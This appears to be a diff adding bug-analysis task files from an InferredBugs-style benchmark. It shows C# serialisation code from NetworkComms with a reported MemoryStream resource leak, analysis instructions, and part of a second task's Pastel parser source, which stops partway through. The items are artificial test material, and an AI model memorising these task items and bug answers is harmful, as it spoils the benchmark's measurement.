+        /// <summary>
+        /// Serialises an object to a stream using any relavent options provided
+        /// </summary>
+        /// <param name="ouputStream">The stream to serialise to</param>
+        /// <param name="objectToSerialise">The object to serialise</param>
+        /// <param name="options">Options dictionary for serialisation/data processing</param>
+        protected abstract void SerialiseDataObjectInt(Stream ouputStream, object objectToSerialise, Dictionary<string, string> options);
+
+        /// <summary>
+        /// Deserialises the data in a stream to an object of the spcified type using any relavent provided options 
+        /// </summary>
+        /// <param name="inputStream">The stream containing the serialised object</param>
+        /// <param name="resultType">The return object Type</param>
+        /// <param name="options">Options dictionary for serialisation/data processing</param>
+        /// <returns>The deserialised object</returns>
+        protected abstract object DeserialiseDataObjectInt(Stream inputStream, Type resultType, Dictionary<string, string> options);
+    }
+
+    /// <summary>
+    /// Class that provides optimised method for serializing arrays of primitive data types.
+    /// </summary>
+    static class ArraySerializer
+    {
+        /// <summary>
+        /// Serializes objectToSerialize to a byte array using compression provided by compressor if T is an array of primitives.  Otherwise returns default value for T.  Override 
+        /// to serialize other types
+        /// </summary>        
+        /// <param name="objectToSerialise">Object to serialize</param>
+        /// <param name="dataProcessors">The compression provider to use</param>
+        /// <param name="options">Options to be used during serialization and processing of data</param>
+        /// <returns>The serialized and compressed bytes of objectToSerialize</returns>
+        public static unsafe StreamSendWrapper SerialiseArrayObject(object objectToSerialise, List<DataProcessor> dataProcessors, Dictionary<string, string> options)
+        {
+            Type objType = objectToSerialise.GetType();
+
+            if (objType.IsArray)
+            {
+                var elementType = objType.GetElementType();
+
+                //No need to do anything for a byte array
+                if (elementType == typeof(byte) && (dataProcessors == null || dataProcessors.Count == 0))
+                    //return objectToSerialise as byte[];
+                    return new StreamSendWrapper(new ThreadSafeStream(new MemoryStream(objectToSerialise as byte[]), true));
+                else if (elementType.IsPrimitive)
+                {
+                    var asArray = objectToSerialise as Array;
+                    GCHandle arrayHandle = GCHandle.Alloc(asArray, GCHandleType.Pinned);
+
+                    try
+                    {
+                        IntPtr safePtr = Marshal.UnsafeAddrOfPinnedArrayElement(asArray, 0);
+                        long writtenBytes = 0;
+
+                        MemoryStream tempStream1 = new System.IO.MemoryStream();
+
+                        using (UnmanagedMemoryStream inputDataStream = new System.IO.UnmanagedMemoryStream((byte*)safePtr, asArray.Length * Marshal.SizeOf(elementType)))
+                        {
+                            if (dataProcessors == null || dataProcessors.Count == 0)
+                            {
+                                inputDataStream.CopyTo(tempStream1);
+                                //return tempStream1.ToArray();
+                                return new StreamSendWrapper(new ThreadSafeStream(tempStream1, true));
+                            }
+
+                            dataProcessors[0].ForwardProcessDataStream(inputDataStream, tempStream1, options, out writtenBytes);
+                        }
+
+                        if (dataProcessors.Count > 1)
+                        {
+                            MemoryStream tempStream2 = new MemoryStream();
+
+                            for (int i = 1; i < dataProcessors.Count; i += 2)
+                            {
+                                tempStream1.Seek(0, 0); tempStream1.SetLength(writtenBytes);
+                                tempStream2.Seek(0, 0);
+                                dataProcessors[i].ForwardProcessDataStream(tempStream1, tempStream2, options, out writtenBytes);
+
+                                if (i + 1 < dataProcessors.Count)
+                                {
+                                    tempStream1.Seek(0, 0);
+                                    tempStream2.Seek(0, 0); tempStream2.SetLength(writtenBytes);
+                                    dataProcessors[i].ForwardProcessDataStream(tempStream2, tempStream1, options, out writtenBytes);
+                                }
+                            }
+
+                            if (dataProcessors.Count % 2 == 0)
+                            {
+                                tempStream2.SetLength(writtenBytes + 4);
+                                tempStream2.Seek(writtenBytes, 0);
+                                tempStream2.Write(BitConverter.GetBytes(asArray.Length), 0, sizeof(int));
+                                //return tempStream2.ToArray();
+                                tempStream1.Dispose();
+                                return new StreamSendWrapper(new ThreadSafeStream(tempStream2, true));
+                            }
+                            else
+                            {
+                                tempStream1.SetLength(writtenBytes + 4);
+                                tempStream1.Seek(writtenBytes, 0);
+                                tempStream1.Write(BitConverter.GetBytes(asArray.Length), 0, sizeof(int));
+                                //return tempStream1.ToArray();
+                                tempStream2.Dispose();
+                                return new StreamSendWrapper(new ThreadSafeStream(tempStream1, true));
+                            }
+                        }
+                        else
+                        {
+                            tempStream1.SetLength(writtenBytes + 4);
+                            tempStream1.Seek(writtenBytes, 0);
+                            tempStream1.Write(BitConverter.GetBytes(asArray.Length), 0, sizeof(int));
+                            //return tempStream1.ToArray();
+                            return new StreamSendWrapper(new ThreadSafeStream(tempStream1, true));
+                        }
+                    }
+                    finally
+                    {
+                        arrayHandle.Free();
+                    }
+                }
+            }
+
+            return null;
+        }
+
+        /// <summary>
+        /// Deserializes data object held as compressed bytes in receivedObjectBytes using compressor if desired type is an array of primitives
+        /// </summary>        
+        /// <param name="receivedObjectBytes">Byte array containing serialized and compressed object</param>
+        /// <param name="dataProcessors">Compression provider to use</param>
+        /// <param name="objType">The <see cref="System.Type"/> of the <see cref="object"/> to be returned</param>
+        /// <param name="options">Options to be used during deserialization and processing of data</param>
+        /// <returns>The deserialized object if it is an array, otherwise null</returns>
+        public static unsafe object DeserialiseArrayObject(MemoryStream receivedObjectBytes, Type objType, List<DataProcessor> dataProcessors, Dictionary<string, string> options)
+        {
+            if (objType.IsArray)
+            {
+                var elementType = objType.GetElementType();
+
+                //No need to do anything for a byte array
+                if (elementType == typeof(byte) && (dataProcessors == null || dataProcessors.Count == 0))
+                    return (object)receivedObjectBytes;
+                if (elementType.IsPrimitive)
+                {
+                    int numElements;
+
+
+                    if (dataProcessors == null || dataProcessors.Count == 0)
+                        numElements = (int)(receivedObjectBytes.Length / Marshal.SizeOf(elementType));
+                    else
+                    {
+                        byte[] temp = new byte[sizeof(int)];
+                        receivedObjectBytes.Read(temp, (int)receivedObjectBytes.Length - sizeof(int), sizeof(int));
+                        numElements = (int)(BitConverter.ToUInt32(temp, 0));
+                    }
+
+                    Array resultArray = Array.CreateInstance(elementType, numElements);
+
+                    GCHandle arrayHandle = GCHandle.Alloc(resultArray, GCHandleType.Pinned);
+
+                    try
+                    {
+                        IntPtr safePtr = Marshal.UnsafeAddrOfPinnedArrayElement(resultArray, 0);
+                        long writtenBytes = 0;
+
+                        using (System.IO.UnmanagedMemoryStream finalOutputStream = new System.IO.UnmanagedMemoryStream((byte*)safePtr, resultArray.Length * Marshal.SizeOf(elementType), resultArray.Length * Marshal.SizeOf(elementType), System.IO.FileAccess.ReadWrite))
+                        {
+                            using (MemoryStream inputBytesStream = new MemoryStream(receivedObjectBytes.GetBuffer(), 0, (int)(receivedObjectBytes.Length - ((dataProcessors == null || dataProcessors.Count == 0) ? 0 : sizeof(int)))))
+                            {
+                                if (dataProcessors != null && dataProcessors.Count > 1)
+                                {
+                                    using (MemoryStream tempStream1 = new MemoryStream())
+                                    {
+                                        dataProcessors[dataProcessors.Count - 1].ReverseProcessDataStream(inputBytesStream, tempStream1, options, out writtenBytes);
+
+                                        if (dataProcessors.Count > 2)
+                                        {
+                                            using (MemoryStream tempStream2 = new MemoryStream())
+                                            {
+                                                for (int i = dataProcessors.Count - 2; i > 0; i -= 2)
+                                                {
+                                                    tempStream1.Seek(0, 0); tempStream1.SetLength(writtenBytes);
+                                                    tempStream2.Seek(0, 0);
+                                                    dataProcessors[i].ReverseProcessDataStream(tempStream1, tempStream2, options, out writtenBytes);
+
+                                                    if (i - 1 > 0)
+                                                    {
+                                                        tempStream1.Seek(0, 0);
+                                                        tempStream2.Seek(0, 0); tempStream2.SetLength(writtenBytes);
+                                                        dataProcessors[i - 1].ReverseProcessDataStream(tempStream2, tempStream1, options, out writtenBytes);
+                                                    }
+                                                }
+
+                                                if (dataProcessors.Count % 2 == 0)
+                                                {
+                                                    tempStream1.Seek(0, 0); tempStream1.SetLength(writtenBytes);
+                                                    dataProcessors[0].ReverseProcessDataStream(tempStream1, finalOutputStream, options, out writtenBytes);
+                                                }
+                                                else
+                                                {
+                                                    tempStream2.Seek(0, 0); tempStream2.SetLength(writtenBytes);
+                                                    dataProcessors[0].ReverseProcessDataStream(tempStream2, finalOutputStream, options, out writtenBytes);
+                                                }
+                                            }
+                                        }
+                                        else
+                                        {
+                                            tempStream1.Seek(0, 0); tempStream1.SetLength(writtenBytes);
+                                            dataProcessors[0].ReverseProcessDataStream(tempStream1, finalOutputStream, options, out writtenBytes);
+                                        }
+                                    }
+                                }
+                                else
+                                {
+                                    if (dataProcessors != null && dataProcessors.Count == 1)
+                                        dataProcessors[0].ReverseProcessDataStream(inputBytesStream, finalOutputStream, options, out writtenBytes);
+                                    else
+                                        inputBytesStream.CopyTo(finalOutputStream);
+                                }
+                            }
+                        }
+                    }
+                    finally
+                    {
+                        arrayHandle.Free();
+                    }
+
+                    return (object)resultArray;
+                }
+            }
+
+            return null;
+        }
+    }
+
+    /// <summary>
+    /// Class that provides optimised method for serializing arrays of primitive data types.
+    /// </summary>
+    static class StreamSendWrapperSerializer
+    {
+        /// <summary>
+        /// Serializes StreamSendWrapper to a StreamSendWrapper possibly using provided data processors.  If there are no data processor streamSendWrapperToSerialize will be returned.
+        /// </summary>        
+        /// <param name="streamSendWrapperToSerialize">StreamSendWrapper to serialize</param>
+        /// <param name="dataProcessors">The compression provider to use</param>
+        /// <param name="options">Options to be used during serialization and processing of data</param>
+        /// <returns>The serialized and compressed bytes of objectToSerialize</returns>
+        public static StreamSendWrapper SerialiseStreamSendWrapper(StreamSendWrapper streamSendWrapperToSerialize, List<DataProcessor> dataProcessors, Dictionary<string, string> options)
+        {
+            //If we have no data processing to do we can simply return the serialised bytes
+            if (dataProcessors == null || dataProcessors.Count == 0)
+                return streamSendWrapperToSerialize;
+
+            //If we have data processors we will have to read everything into memory first
+            //Create the memory streams for passing back and forth between data processors 
+            MemoryStream tempStream1 = new MemoryStream();
+            MemoryStream tempStream2 = new MemoryStream();
+
+            //Initialise tempStream 1 with the data from the provided StreamSendWrapper
+            streamSendWrapperToSerialize.ThreadSafeStream.CopyTo(tempStream1, streamSendWrapperToSerialize.Start, streamSendWrapperToSerialize.Length);
+
+            //variable will store the number of bytes in the output stream at each processing stage
+            long writtenBytes;
+            //Process the serialised data using the first data processer.  We do this seperately to avoid multiple seek/setLength calls for
+            //the most common usage case
+            dataProcessors[0].ForwardProcessDataStream(tempStream1, tempStream2, options, out writtenBytes);
+
+            //If we have more than one processor we need to loop through them
+            if (dataProcessors.Count > 1)
+            {
+                //Loop through the remaining processors two at a time.  Each loop processes data temp2 -> temp1 -> temp2
+                for (int i = 1; i < dataProcessors.Count; i += 2)
+                {
+                    //Seek streams to zero and truncate the last output stream to the data size
+                    tempStream2.Seek(0, 0); tempStream2.SetLength(writtenBytes);
+                    tempStream1.Seek(0, 0);
+                    //Process the data
+                    dataProcessors[i].ForwardProcessDataStream(tempStream2, tempStream1, options, out writtenBytes);
+
+                    //if the second of the pair exists
+                    if (i + 1 < dataProcessors.Count)
+                    {
+                        //Seek streams to zero and truncate the last output stream to the data size
+                        tempStream2.Seek(0, 0);
+                        tempStream1.Seek(0, 0); tempStream1.SetLength(writtenBytes);
+                        //Process the data
+                        dataProcessors[i + 1].ForwardProcessDataStream(tempStream1, tempStream2, options, out writtenBytes);
+                    }
+                }
+            }
+
+            //Depending on whether the number of processors is even or odd a different stream will hold the final data
+            if (dataProcessors.Count % 2 == 0)
+            {
+                //Seek to the begining and truncate the output stream
+                tempStream1.Seek(0, 0);
+                tempStream1.SetLength(writtenBytes);
+                //Return the resultant bytes
+                //return tempStream1.ToArray();
+                tempStream2.Dispose();
+                return new StreamSendWrapper(new ThreadSafeStream(tempStream1, true));
+            }
+            else
+            {
+                //Seek to the begining and truncate the output stream
+                tempStream2.Seek(0, 0);
+                tempStream2.SetLength(writtenBytes);
+                //Return the resultant bytes
+                //return tempStream2.ToArray();
+                tempStream1.Dispose();
+                return new StreamSendWrapper(new ThreadSafeStream(tempStream2, true));
+            }
+        }
+
+        /// <summary>
+        /// Deserializes data object held as compressed bytes in receivedObjectBytes using compressor if desired type is a <see cref="StreamSendWrapper"/>
+        /// </summary>        
+        /// <param name="receivedObjectBytes">Byte array containing serialized and compressed object</param>
+        /// <param name="dataProcessors">Compression provider to use</param>
+        /// <param name="objType">The <see cref="System.Type"/> of the <see cref="object"/> to be returned</param>
+        /// <param name="options">Options to be used during deserialization and processing of data</param>
+        /// <returns>The deserialized object if it is an array, otherwise null</returns>
+        public static object DeserialiseStreamSendWrapper(byte[] receivedObjectBytes, Type objType, List<DataProcessor> dataProcessors, Dictionary<string, string> options)
+        {
+            throw new Exception("NetworkComms should never be expected a type of StreamSendWrapper. Any data sent using a StreamSendWrapper should be handled on recieve as byte[].");
+        }
+    }
+}
+
+```
+
+### Bug Type:
+DOTNET_RESOURCE_LEAK
+
+### Qualifier:
+Leaked resource (output of System.IO.MemoryStream::.ctor() at Line 178) of type System.IO.MemoryStream in method "T DataSerializer.DeserialiseDataObject(Byte[])".
+
+### Severity:
+ERROR
+
+### Procedure:
+T DataSerializer.DeserialiseDataObject(Byte[])
+
+### File:
+DPSBase/DataSerializer.cs
+
+### Key:
+DataSerializer.cs|DeserialiseDataObject|DOTNET_RESOURCE_LEAK
+
+### Hash:
+032387c1cfd09e97e3a9b733fea41810
+
+### Bug Type Hum:
+Dotnet Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-0879/instruction.md b/inferredbugs-0879/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..576590e717c40e36451fa3fc2e300c6a8a459a66
--- /dev/null
+++ b/inferredbugs-0879/instruction.md
@@ -0,0 +1,882 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** crayon
+**Bug ID:** 12
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using System;
+using System.Collections.Generic;
+using Pastel.Nodes;
+
+namespace Pastel
+{
+    internal class PastelParser
+    {
+        private static readonly HashSet<string> OP_TOKENS = new HashSet<string>(new string[] { "=", "+=", "*=", "-=", "&=", "|=", "^=" });
+        private static readonly Executable[] EMPTY_CODE_BLOCK = new Executable[0];
+
+        private IDictionary<string, object> constants;
+
+        private IInlineImportCodeLoader importCodeLoader;
+
+        // TODO: Get rid of this somehow. The parser logic should be relatively stateless.
+        // However, this value is set at the beginning and end of a code owner parsing
+        // and the reference is passed to all instantiations of parse tree objects below.
+        private ICompilationEntity currentCodeOwner = null;
+
+        private PastelContext context;
+
+        public PastelParser(
+            PastelContext context,
+            IDictionary<string, object> constants,
+            IInlineImportCodeLoader importCodeLoader)
+        {
+            this.context = context;
+            this.constants = constants;
+            this.importCodeLoader = importCodeLoader;
+        }
+
+        private object GetConstant(string name, object defaultValue)
+        {
+            object output;
+            if (this.constants.TryGetValue(name, out output))
+            {
+                return output;
+            }
+            return defaultValue;
+        }
+
+        internal bool GetParseTimeBooleanConstant(string name)
+        {
+            return (bool)this.GetConstant(name, false);
+        }
+
+        internal string GetParseTimeStringConstant(string name)
+        {
+            return (string)this.GetConstant(name, "");
+        }
+
+        public ICompilationEntity[] ParseText(string filename, string text)
+        {
+            TokenStream tokens = new TokenStream(Tokenizer.Tokenize(filename, text));
+            List<ICompilationEntity> output = new List<ICompilationEntity>();
+            while (tokens.HasMore)
+            {
+                switch (tokens.PeekValue())
+                {
+                    case "enum":
+                        output.Add(this.ParseEnumDefinition(tokens));
+                        break;
+
+                    case "const":
+                        output.Add(this.ParseConstDefinition(tokens));
+                        break;
+
+                    case "struct":
+                        output.Add(this.ParseStructDefinition(tokens));
+                        break;
+
+                    case "@":
+                        Token atToken = tokens.Pop();
+                        ICompilationEntity[] inlinedEntities = this.ParseTopLevelInlineImport(atToken, tokens);
+                        output.AddRange(inlinedEntities);
+                        break;
+
+                    default:
+                        output.Add(this.ParseFunctionDefinition(tokens));
+                        break;
+                }
+            }
+            return output.ToArray();
+        }
+
+        private ICompilationEntity[] ParseTopLevelInlineImport(Token atToken, TokenStream tokens)
+        {
+            string sourceFile = null;
+            string functionName = tokens.PeekValue();
+            switch (functionName)
+            {
+                case "import":
+                    tokens.PopExpected("import");
+                    tokens.PopExpected("(");
+                    Token stringToken = tokens.Pop();
+                    tokens.PopExpected(")");
+                    tokens.PopExpected(";");
+                    sourceFile = PastelUtil.ConvertStringTokenToValue(stringToken.Value);
+                    break;
+
+                case "importIfTrue":
+                case "importIfFalse":
+                    tokens.Pop();
+                    tokens.PopExpected("(");
+                    Token constantExpression = tokens.Pop();
+                    string constantValue = PastelUtil.ConvertStringTokenToValue(constantExpression.Value);
+                    tokens.PopExpected(",");
+                    Token pathToken = tokens.Pop();
+                    tokens.PopExpected(")");
+                    tokens.PopExpected(";");
+                    object value = this.GetConstant(constantValue, false);
+                    if (!(value is bool)) value = false;
+                    bool valueBool = (bool)value;
+                    if (functionName == "importIfFalse")
+                    {
+                        valueBool = !valueBool;
+                    }
+
+                    if (valueBool)
+                    {
+                        sourceFile = PastelUtil.ConvertStringTokenToValue(pathToken.Value);
+                    }
+                    break;
+
+                default:
+                    // intentional crash...
+                    tokens.PopExpected("import");
+                    break;
+            }
+
+            if (sourceFile != null)
+            {
+                string code = this.importCodeLoader.LoadCode(sourceFile);
+                return this.ParseText(sourceFile, code);
+            }
+
+            return new ICompilationEntity[0];
+        }
+
+        public Executable[] ParseImportedCode(string path)
+        {
+            path = path.Replace(".cry", ".pst"); // lol TODO: fix this in the .pst code.
+            string code = this.importCodeLoader.LoadCode(path);
+            TokenStream tokens = new TokenStream(Tokenizer.Tokenize(path, code));
+            List<Executable> output = new List<Executable>();
+            while (tokens.HasMore)
+            {
+                this.ParseCodeLine(output, tokens);
+            }
+            return output.ToArray();
+        }
+
+        public VariableDeclaration ParseConstDefinition(TokenStream tokens)
+        {
+            Token constToken = tokens.PopExpected("const");
+            VariableDeclaration assignment = this.ParseAssignmentWithNewFirstToken(constToken, tokens);
+            assignment.IsConstant = true;
+            return assignment;
+        }
+
+        private VariableDeclaration ParseAssignmentWithNewFirstToken(Token newToken, TokenStream tokens)
+        {
+            Executable executable = this.ParseExecutable(tokens, false);
+            VariableDeclaration assignment = executable as VariableDeclaration;
+            if (assignment == null)
+            {
+                throw new ParserException(newToken, "Expected an assignment here.");
+            }
+            assignment.FirstToken = newToken;
+            return assignment;
+        }
+
+        public EnumDefinition ParseEnumDefinition(TokenStream tokens)
+        {
+            Token enumToken = tokens.PopExpected("enum");
+            Token nameToken = EnsureTokenIsValidName(tokens.Pop(), "Invalid name for an enum.");
+            EnumDefinition enumDef = new EnumDefinition(enumToken, nameToken, this.context);
+            this.currentCodeOwner = enumDef;
+            List<Token> valueTokens = new List<Token>();
+            List<Expression> valueExpressions = new List<Expression>();
+            tokens.PopExpected("{");
+            bool first = true;
+            while (!tokens.PopIfPresent("}"))
+            {
+                if (!first)
+                {
+                    tokens.PopExpected(",");
+                }
+                else
+                {
+                    first = false;
+                }
+
+                if (tokens.PopIfPresent("}"))
+                {
+                    break;
+                }
+
+                Token valueToken = EnsureTokenIsValidName(tokens.Pop(), "Invalid name for a enum value.");
+                valueTokens.Add(valueToken);
+                if (tokens.PopIfPresent("="))
+                {
+                    Expression value = ParseExpression(tokens);
+                    valueExpressions.Add(value);
+                }
+                else
+                {
+                    valueExpressions.Add(null);
+                }
+            }
+
+            enumDef.InitializeValues(valueTokens, valueExpressions);
+            this.currentCodeOwner = null;
+            return enumDef;
+        }
+
+        public StructDefinition ParseStructDefinition(TokenStream tokens)
+        {
+            Token structToken = tokens.PopExpected("struct");
+            Token nameToken = EnsureTokenIsValidName(tokens.Pop(), "Invalid struct name");
+            List<PType> structFieldTypes = new List<PType>();
+            List<Token> structFieldNames = new List<Token>();
+            tokens.PopExpected("{");
+            while (!tokens.PopIfPresent("}"))
+            {
+                PType fieldType = PType.Parse(tokens);
+                Token fieldName = EnsureTokenIsValidName(tokens.Pop(), "Invalid struct field name");
+                structFieldTypes.Add(fieldType);
+                structFieldNames.Add(fieldName);
+                tokens.PopExpected(";");
+            }
+            return new StructDefinition(structToken, nameToken, structFieldTypes, structFieldNames, this.context);
+        }
+
+        public FunctionDefinition ParseFunctionDefinition(TokenStream tokens)
+        {
+            PType returnType = PType.Parse(tokens);
+            Token nameToken = EnsureTokenIsValidName(tokens.Pop(), "Expected function name");
+            tokens.PopExpected("(");
+            List<PType> argTypes = new List<PType>();
+            List<Token> argNames = new List<Token>();
+            while (!tokens.PopIfPresent(")"))
+            {
+                if (argTypes.Count > 0) tokens.PopExpected(",");
+                argTypes.Add(PType.Parse(tokens));
+                argNames.Add(EnsureTokenIsValidName(tokens.Pop(), "Invalid function arg name"));
+            }
+            FunctionDefinition funcDef = new FunctionDefinition(nameToken, returnType, argTypes, argNames, this.context);
+            this.currentCodeOwner = funcDef;
+            List<Executable> code = this.ParseCodeBlock(tokens, true);
+            this.currentCodeOwner = null;
+            funcDef.Code = code.ToArray();
+            return funcDef;
+        }
+
+        public List<Executable> ParseCodeBlock(TokenStream tokens, bool curlyBracesRequired)
+        {
+            bool hasCurlyBrace = false;
+            if (curlyBracesRequired)
+            {
+                hasCurlyBrace = true;
+                tokens.PopExpected("{");
+            }
+            else
+            {
+                hasCurlyBrace = tokens.PopIfPresent("{");
+            }
+
+            List<Executable> code = new List<Executable>();
+            if (hasCurlyBrace)
+            {
+                while (!tokens.PopIfPresent("}"))
+                {
+                    this.ParseCodeLine(code, tokens);
+                }
+            }
+            else
+            {
+                this.ParseCodeLine(code, tokens);
+            }
+
+            return code;
+        }
+
+        private void ParseCodeLine(List<Executable> codeOut, TokenStream tokens)
+        {
+            Executable line = ParseExecutable(tokens, false);
+            Executable[] lines = null;
+            if (line is ExpressionAsExecutable)
+            {
+                lines = ((ExpressionAsExecutable)line).ImmediateResolveMaybe(this);
+            }
+
+            if (lines == null)
+            {
+                codeOut.Add(line);
+            }
+            else
+            {
+                codeOut.AddRange(lines);
+            }
+        }
+
+        public Executable ParseExecutable(TokenStream tokens, bool isForLoop)
+        {
+            if (!isForLoop)
+            {
+                switch (tokens.PeekValue())
+                {
+                    case "if": return ParseIfStatement(tokens);
+                    case "for": return ParseForLoop(tokens);
+                    case "while": return ParseWhileLoop(tokens);
+                    case "switch": return ParseSwitchStatement(tokens);
+                    case "break": return ParseBreak(tokens);
+                    case "return": return ParseReturn(tokens);
+                }
+            }
+
+            int currentState = tokens.SnapshotState();
+            PType assignmentType = PType.TryParse(tokens);
+            if (assignmentType != null && tokens.HasMore && IsValidName(tokens.PeekValue()))
+            {
+                Token variableName = EnsureTokenIsValidName(tokens.Pop(), "Invalid variable name");
+
+                if (tokens.PopIfPresent(";"))
+                {
+                    return new VariableDeclaration(assignmentType, variableName, null, null, this.context);
+                }
+
+                Token equalsToken = tokens.PopExpected("=");
+                Expression assignmentValue = ParseExpression(tokens);
+                if (!isForLoop)
+                {
+                    tokens.PopExpected(";");
+                }
+                return new VariableDeclaration(assignmentType, variableName, equalsToken, assignmentValue, this.context);
+            }
+            tokens.RevertState(currentState);
+
+            Expression expression = ParseExpression(tokens);
+
+            if (!isForLoop && tokens.PopIfPresent(";"))
+            {
+                return new ExpressionAsExecutable(expression);
+            }
+
+            if (isForLoop && (tokens.IsNext(";") || tokens.IsNext(",") || tokens.IsNext(")")))
+            {
+                return new ExpressionAsExecutable(expression);
+            }
+
+            if (OP_TOKENS.Contains(tokens.PeekValue()))
+            {
+                Token opToken = tokens.Pop();
+                Expression assignmentValue = ParseExpression(tokens);
+
+                if (!isForLoop && tokens.PopIfPresent(";"))
+                {
+                    return new Assignment(expression, opToken, assignmentValue);
+                }
+
+                if (isForLoop && (tokens.IsNext(";") || tokens.IsNext(",") || tokens.IsNext(")")))
+                {
+                    return new Assignment(expression, opToken, assignmentValue);
+                }
+            }
+
+            tokens.PopExpected(";"); // Exhausted possibilities. This will crash intentionally.
+            return null; // unreachable code
+        }
+
+        public Executable ParseIfStatement(TokenStream tokens)
+        {
+            Token ifToken = tokens.PopExpected("if");
+            tokens.PopExpected("(");
+            Expression condition = this.ParseExpression(tokens);
+            tokens.PopExpected(")");
+            IList<Executable> ifCode = this.ParseCodeBlock(tokens, false);
+            Token elseToken = null;
+            IList<Executable> elseCode = EMPTY_CODE_BLOCK;
+            if (tokens.IsNext("else"))
+            {
+                elseToken = tokens.Pop();
+                elseCode = this.ParseCodeBlock(tokens, false);
+            }
+
+            if (condition is InlineConstant)
+            {
+                InlineConstant ic = (InlineConstant)condition;
+                if (ic.Value is bool)
+                {
+                    return new ExecutableBatch(ifToken, (bool)ic.Value ? ifCode : elseCode);
+                }
+            }
+
+            return new IfStatement(ifToken, condition, ifCode, elseToken, elseCode);
+        }
+
+        public ForLoop ParseForLoop(TokenStream tokens)
+        {
+            Token forToken = tokens.PopExpected("for");
+            List<Executable> initCode = new List<Executable>();
+            Expression condition = null;
+            List<Executable> stepCode = new List<Executable>();
+            tokens.PopExpected("(");
+            if (!tokens.PopIfPresent(";"))
+            {
+                initCode.Add(this.ParseExecutable(tokens, true));
+                while (tokens.PopIfPresent(","))
+                {
+                    initCode.Add(this.ParseExecutable(tokens, true));
+                }
+                tokens.PopExpected(";");
+            }
+
+            if (!tokens.PopIfPresent(";"))
+            {
+                condition = this.ParseExpression(tokens);
+                tokens.PopExpected(";");
+            }
+
+            if (!tokens.PopIfPresent(")"))
+            {
+                stepCode.Add(this.ParseExecutable(tokens, true));
+                while (tokens.PopIfPresent(","))
+                {
+                    stepCode.Add(this.ParseExecutable(tokens, true));
+                }
+                tokens.PopExpected(")");
+            }
+
+            List<Executable> code = this.ParseCodeBlock(tokens, false);
+            return new ForLoop(forToken, initCode, condition, stepCode, code);
+        }
+
+        public WhileLoop ParseWhileLoop(TokenStream tokens)
+        {
+            Token whileToken = tokens.PopExpected("while");
+            tokens.PopExpected("(");
+            Expression condition = this.ParseExpression(tokens);
+            tokens.PopExpected(")");
+            List<Executable> code = this.ParseCodeBlock(tokens, false);
+            return new WhileLoop(whileToken, condition, code);
+        }
+
+        public SwitchStatement ParseSwitchStatement(TokenStream tokens)
+        {
+            Token switchToken = tokens.PopExpected("switch");
+            tokens.PopExpected("(");
+            Expression condition = this.ParseExpression(tokens);
+            tokens.PopExpected(")");
+            tokens.PopExpected("{");
+
+            List<SwitchStatement.SwitchChunk> chunks = new List<SwitchStatement.SwitchChunk>();
+            while (!tokens.PopIfPresent("}"))
+            {
+                List<Expression> caseExpressions = new List<Expression>();
+                List<Token> caseAndDefaultTokens = new List<Token>();
+                bool thereAreCases = true;
+                while (thereAreCases)
+                {
+                    switch (tokens.PeekValue())
+                    {
+                        case "case":
+                            caseAndDefaultTokens.Add(tokens.Pop());
+                            Expression caseExpression = this.ParseExpression(tokens);
+                            tokens.PopExpected(":");
+                            caseExpressions.Add(caseExpression);
+                            break;
+
+                        case "default":
+                            caseAndDefaultTokens.Add(tokens.Pop());
+                            tokens.PopExpected(":");
+                            caseExpressions.Add(null);
+                            break;
+
+                        default:
+                            thereAreCases = false;
+                            break;
+                    }
+                }
+
+                List<Executable> chunkCode = new List<Executable>();
+                string next = tokens.PeekValue();
+                while (next != "}" && next != "default" && next != "case")
+                {
+                    this.ParseCodeLine(chunkCode, tokens);
+                    next = tokens.PeekValue();
+                }
+
+                chunks.Add(new SwitchStatement.SwitchChunk(caseAndDefaultTokens, caseExpressions, chunkCode));
+            }
+
+            return new SwitchStatement(switchToken, condition, chunks);
+        }
+
+        public BreakStatement ParseBreak(TokenStream tokens)
+        {
+            Token breakToken = tokens.PopExpected("break");
+            tokens.PopExpected(";");
+            return new BreakStatement(breakToken);
+        }
+
+        public ReturnStatement ParseReturn(TokenStream tokens)
+        {
+            Token returnToken = tokens.PopExpected("return");
+            if (tokens.PopIfPresent(";"))
+            {
+                return new ReturnStatement(returnToken, null);
+            }
+
+            Expression expression = this.ParseExpression(tokens);
+            tokens.PopExpected(";");
+            return new ReturnStatement(returnToken, expression);
+        }
+
+        public Expression ParseExpression(TokenStream tokens)
+        {
+            return this.ParseBooleanCombination(tokens);
+        }
+
+        private Expression ParseOpChain(TokenStream tokens, HashSet<string> opsToLookFor, Func<TokenStream, Expression> fp)
+        {
+            Expression expression = fp(tokens);
+            if (opsToLookFor.Contains(tokens.PeekValue()))
+            {
+                List<Expression> expressions = new List<Expression>() { expression };
+                List<Token> ops = new List<Token>();
+                while (opsToLookFor.Contains(tokens.PeekValue()))
+                {
+                    ops.Add(tokens.Pop());
+                    expressions.Add(fp(tokens));
+                }
+                return new OpChain(expressions, ops);
+            }
+            return expression;
+        }
+
+        private static readonly HashSet<string> OPS_BOOLEAN_COMBINATION = new HashSet<string>(new string[] { "&&", "||" });
+        private Expression ParseBooleanCombination(TokenStream tokens)
+        {
+            return this.ParseOpChain(tokens, OPS_BOOLEAN_COMBINATION, this.ParseBitwise);
+        }
+
+        private static readonly HashSet<string> OPS_BITWISE = new HashSet<string>(new string[] { "&", "|", "^" });
+        private Expression ParseBitwise(TokenStream tokens)
+        {
+            return this.ParseOpChain(tokens, OPS_BITWISE, this.ParseEquality);
+        }
+
+        private static readonly HashSet<string> OPS_EQUALITY = new HashSet<string>(new string[] { "==", "!=" });
+        private Expression ParseEquality(TokenStream tokens)
+        {
+            return this.ParseOpChain(tokens, OPS_EQUALITY, this.ParseInequality);
+        }
+
